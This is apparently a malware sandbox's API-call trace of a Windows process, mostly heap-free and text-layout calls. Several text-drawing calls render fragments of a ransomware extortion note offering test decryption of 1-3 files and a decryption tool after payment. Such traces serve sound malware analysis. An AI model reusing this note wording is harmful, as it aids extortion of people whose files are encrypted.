[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.604] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ec48 | out: hHeap=0x450000) returned 1
[0103.605] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.606] LsSetDoc () returned 0x0
[0103.606] LsCreateLine () returned 0x0
[0103.606] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.606] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc340
[0103.606] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4baaf8
[0103.607] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.607] LsdnFinishRegular () returned 0x0
[0103.607] LsDisplayLine () returned 0x0
[0103.607] LsDestroyLine () returned 0x0
[0103.607] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc340 | out: hHeap=0x450000) returned 1
[0103.607] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.607] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.607] LsSetDoc () returned 0x0
[0103.607] LsCreateLine () returned 0x0
[0103.607] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.608] SelectObject (hdc=0xa01025b, h=0x30a01fd) returned 0x18a002e
[0103.608] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\xfde3", cchWideChar=1, lpMultiByteStr=0x1c8684, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?", lpUsedDefaultChar=0x0) returned 1
[0103.611] GetCharWidthA (in: hdc=0xa01025b, iFirst=0x3f, iLast=0x3f, lpBuffer=0x1c866c | out: lpBuffer=0x1c866c) returned 1
[0103.611] SelectObject (hdc=0xa01025b, h=0x18a002e) returned 0x30a01fd
[0103.611] LsQueryLineDup () returned 0x0
[0103.611] LsQueryLineCpPpoint () returned 0x0
[0103.611] LsDisplayLine () returned 0x0
[0103.611] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0103.611] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.611] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.611] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.611] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.611] _CIsqrt () returned 0x3f1a027f
[0103.611] _CIsqrt () returned 0x3f1a027f
[0103.611] _CIatan2 () returned 0x20
[0103.611] _CIatan2 () returned 0x20
[0103.611] ExtTextOutA (hdc=0x90101e7, x=46, y=99, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.612] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.612] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.612] LsDestroyLine () returned 0x0
[0103.612] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.612] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.612] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.612] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bab10 | out: hHeap=0x450000) returned 1
[0103.612] LsSetDoc () returned 0x0
[0103.612] LsCreateLine () returned 0x0
[0103.612] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.613] LsDisplayLine () returned 0x0
[0103.614] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.614] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.614] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.614] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.614] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.614] _CIatan2 () returned 0x20
[0103.614] _CIatan2 () returned 0x20
[0103.614] ExtTextOutW (hdc=0x90101e7, x=62, y=99, options=0x4, lprect=0x1c8498, lpString="Before payment you can send us 1-3 files for free decryption. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x20, lpDx=0x1c84d0) returned 1
[0103.614] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.614] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.614] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.614] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.614] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.614] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.614] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.614] _CIatan2 () returned 0x20
[0103.614] _CIatan2 () returned 0x20
[0103.614] ExtTextOutW (hdc=0x90101e7, x=294, y=99, options=0x4, lprect=0x1c8498, lpString="-3 files for free decryption. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.614] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.614] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.614] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.614] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.614] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.614] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.614] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.614] _CIatan2 () returned 0x20
[0103.614] _CIatan2 () returned 0x20
[0103.614] ExtTextOutW (hdc=0x90101e7, x=299, y=99, options=0x4, lprect=0x1c8498, lpString="3 files for free decryption. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1c, lpDx=0x1c84d0) returned 1
[0103.614] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.615] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.615] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.615] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.615] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.615] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.615] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.615] _CIatan2 () returned 0x20
[0103.615] _CIatan2 () returned 0x20
[0103.615] ExtTextOutW (hdc=0x90101e7, x=467, y=99, options=0x4, lprect=0x1c8498, lpString=" n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.615] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.615] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.615] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.616] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.616] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.616] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.616] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.616] _CIatan2 () returned 0x20
[0103.616] _CIatan2 () returned 0x20
[0103.616] ExtTextOutW (hdc=0x90101e7, x=472, y=99, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.616] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.616] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.616] LsDestroyLine () returned 0x0
[0103.616] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.616] LsSetDoc () returned 0x0
[0103.616] LsCreateLine () returned 0x0
[0103.616] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.617] LsQueryLineDup () returned 0x0
[0103.617] LsQueryLineCpPpoint () returned 0x0
[0103.617] LsDisplayLine () returned 0x0
[0103.617] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0103.617] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.617] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.617] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.617] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.617] _CIsqrt () returned 0x3f1a027f
[0103.617] _CIsqrt () returned 0x3f1a027f
[0103.617] _CIatan2 () returned 0x20
[0103.617] _CIatan2 () returned 0x20
[0103.617] ExtTextOutA (hdc=0x90101e7, x=46, y=124, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.617] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.617] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.617] LsDestroyLine () returned 0x0
[0103.617] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.618] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.618] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bab10 | out: hHeap=0x450000) returned 1
[0103.618] LsSetDoc () returned 0x0
[0103.618] LsCreateLine () returned 0x0
[0103.618] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.619] LsDisplayLine () returned 0x0
[0103.619] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.619] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.619] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.619] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.619] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.619] _CIatan2 () returned 0x20
[0103.619] _CIatan2 () returned 0x20
[0103.619] ExtTextOutW (hdc=0x90101e7, x=62, y=124, options=0x4, lprect=0x1c8498, lpString="Please note that files must NOT contain valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x3d, lpDx=0x1c84d0) returned 1
[0103.619] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.619] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.619] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.619] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.619] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.619] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.619] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.619] _CIatan2 () returned 0x20
[0103.619] _CIatan2 () returned 0x20
[0103.619] ExtTextOutW (hdc=0x90101e7, x=461, y=124, options=0x4, lprect=0x1c8498, lpString=" n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.619] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.619] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.619] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.619] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.619] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.620] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.620] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.620] _CIatan2 () returned 0x20
[0103.620] _CIatan2 () returned 0x20
[0103.620] ExtTextOutW (hdc=0x90101e7, x=466, y=124, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.620] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.620] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.620] LsDestroyLine () returned 0x0
[0103.620] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.620] LsSetDoc () returned 0x0
[0103.620] LsCreateLine () returned 0x0
[0103.620] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.620] LsQueryLineDup () returned 0x0
[0103.620] LsQueryLineCpPpoint () returned 0x0
[0103.620] LsDisplayLine () returned 0x0
[0103.620] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0103.620] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.620] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.620] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.620] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.621] _CIsqrt () returned 0x3f1a027f
[0103.621] _CIsqrt () returned 0x3f1a027f
[0103.621] _CIatan2 () returned 0x20
[0103.621] _CIatan2 () returned 0x20
[0103.621] ExtTextOutA (hdc=0x90101e7, x=46, y=149, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.621] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.621] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.621] LsDestroyLine () returned 0x0
[0103.621] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.621] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.621] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bab10 | out: hHeap=0x450000) returned 1
[0103.622] LsSetDoc () returned 0x0
[0103.622] LsCreateLine () returned 0x0
[0103.622] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.622] LsDisplayLine () returned 0x0
[0103.623] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.623] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.623] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.623] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.623] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.623] _CIatan2 () returned 0x20
[0103.623] _CIatan2 () returned 0x20
[0103.623] ExtTextOutW (hdc=0x90101e7, x=62, y=149, options=0x4, lprect=0x1c8498, lpString="The file size should not exceed 1MB. n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x24, lpDx=0x1c84d0) returned 1
[0103.623] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.623] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.623] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.623] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.623] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.623] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.623] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.623] _CIatan2 () returned 0x20
[0103.623] _CIatan2 () returned 0x20
[0103.623] ExtTextOutW (hdc=0x90101e7, x=302, y=149, options=0x4, lprect=0x1c8498, lpString=" n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.623] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.623] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.623] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.623] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.623] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.623] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.624] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.624] _CIatan2 () returned 0x20
[0103.624] _CIatan2 () returned 0x20
[0103.624] ExtTextOutW (hdc=0x90101e7, x=307, y=149, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.624] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.624] LsDestroyLine () returned 0x0
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.624] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.624] LsDestroyContext () returned 0x0
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4972e0 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5004d0 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501328 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011c0 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c7d10 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503cf0 | out: hHeap=0x450000) returned 1
[0103.624] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011e8 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501210 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501378 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5007c0 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd820 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd810 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0103.625] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500fc8 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509088 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509158 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5096f8 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5092f0 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509490 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509560 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497f80 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e08 | out: hHeap=0x450000) returned 1
[0103.626] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503268 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] IntersectRect (in: lprcDst=0x1c9514, lprcSrc1=0x1c9514, lprcSrc2=0x1c9424 | out: lprcDst=0x1c9514) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9534 | out: lprcDst=0x4967b8) returned 1
[0103.627] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9554 | out: lprcDst=0x4967b8) returned 1
[0103.627] IntersectRect (in: lprcDst=0x1c9054, lprcSrc1=0x1c9054, lprcSrc2=0x1c8f08 | out: lprcDst=0x1c9054) returned 1
[0103.627] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.627] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9054 | out: lprcDst=0x4967b8) returned 1
[0103.627] IntersectRect (in: lprcDst=0x1c8fb8, lprcSrc1=0x1c8fb8, lprcSrc2=0x4967c8 | out: lprcDst=0x1c8fb8) returned 1
